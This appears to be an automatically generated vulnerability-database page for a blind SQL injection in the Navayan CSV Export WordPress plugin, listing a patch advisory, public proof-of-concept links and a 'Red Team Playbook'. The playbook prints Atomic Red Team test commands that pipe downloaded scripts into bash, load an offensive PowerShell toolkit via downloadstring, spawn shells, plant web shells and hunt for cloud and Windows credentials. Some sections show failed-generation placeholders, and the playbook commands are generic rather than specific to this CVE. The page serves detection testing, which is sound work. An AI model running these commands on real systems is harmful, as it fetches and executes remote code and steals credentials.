CVE-2024-55988
Overview
This vulnerability is a Blind SQL Injection stemming from improper neutralization of special elements in SQL commands within the Amol Nirmala Waman Navayan CSV Export plugin. The root cause is insufficient input sanitization in the plugin's data handling routines, allowing crafted input to alter the structure of backend SQL queries. The affected component is the Navayan CSV Export plugin versions up to and including 1.0.9.
Vulnerability Description
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Amol Nirmala Waman Navayan CSV Export navayan-csv-export allows Blind SQL Injection.This issue affects Navayan CSV Export: from n/a through <= 1.0.9.
Impact
An unauthenticated attacker can exploit this vulnerability to perform Blind SQL Injection attacks, enabling them to extract sensitive database information such as user credentials or configuration data. This can lead to unauthorized data disclosure and partial denial of service due to database query manipulation. The absence of authentication requirements lowers the attack complexity, increasing the risk to any site running vulnerable plugin versions. The business impact includes potential data breaches and compromised integrity of backend data.
Solution
Users should upgrade the Navayan CSV Export plugin to a version later than 1.0.9 where the vulnerability is addressed. The Patchstack advisory (https://patchstack.com/database/Wordpress/Plugin/navayan-csv-export/vulnerability/wordpress-navayan-csv-export-plugin-1-0-9-sql-injection-vulnerability?_s_id=cve) provides detailed patch instructions. Applying the vendor-supplied update eliminates the injection vector by implementing proper input validation and query parameterization. No alternative workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The vulnerability in question pertains to an SQL Injection flaw found in the Navayan CSV Export tool, specifically allowing for Blind SQL Injection attacks. This type of vulnerability arises from improper neutralization of special elements within SQL commands, which permits an attacker to manipulate queries executed by the database. In this case, the flaw exists in versions up to and including 1.0.9 of the software. Attackers can exploit this vulnerability by crafting specially designed inputs that are not properly sanitized, enabling them to execute arbitrary SQL commands. This can lead to unauthorized access to sensitive data, modification of database entries, or even complete database compromise.
Attack vectors for this vulnerability are varied, but they primarily involve the submission of crafted requests to the application that utilizes the CSV export functionality. An attacker could leverage tools or scripts to automate the injection of malicious SQL payloads into input fields that are processed by the backend database. Given that this is a Blind SQL Injection vulnerability, the attacker may not receive direct feedback from the application, but can infer information based on the application's behavior or response times. For instance, by systematically altering queries and observing the resulting changes in response, an attacker can extract sensitive information such as user credentials, financial data, or other confidential records stored within the database.
The real-world impact of this vulnerability can be significant, particularly for organizations that rely on the affected software for data management and reporting. The potential for data breaches not only poses a direct financial risk due to the costs associated with remediation and potential legal liabilities but also threatens the organization's reputation. In an era where data privacy regulations are stringent, such as GDPR or CCPA, the consequences of exposing sensitive information can lead to hefty fines and loss of customer trust. Furthermore, the exploitation of this vulnerability could serve as a foothold for more extensive attacks, allowing adversaries to pivot within the network and access additional systems or data.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including penetration testing and code reviews, can help identify SQL Injection vulnerabilities before they can be exploited. Employing web application firewalls (WAFs) can also provide an additional layer of defense by filtering out malicious requests. Furthermore, developers should adhere to secure coding practices, such as using prepared statements and parameterized queries, to ensure that user inputs are properly sanitized and cannot interfere with SQL command execution. Additionally, organizations should maintain an up-to-date inventory of software versions in use and apply patches or updates promptly to mitigate known vulnerabilities.
In conclusion, the SQL Injection vulnerability in the Navayan CSV Export tool represents a critical security risk that organizations must address proactively. By understanding the technical details, potential attack vectors, and the real-world implications of exploitation, businesses can better prepare themselves to defend against such threats. Implementing robust detection and mitigation strategies will not only protect sensitive data but also enhance the overall security posture of the organization, ultimately safeguarding its reputation and operational integrity in a rapidly evolving threat landscape.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2024-55988
Navayan CSV Export <= 1.0.9 - Unauthenticated SQL Injection
|
RandomRobbieBF | 1 | 0 | 2025-01-03 | View |
|
PoC
|
- | 0 | 0 | - | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-55988 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/Wordpress/Plugin/navayan-csv-export/vulnerability/wordpress-navayan-csv-export-plugin-1-0-9-sql-injection-vulnerability?_s_id=cve |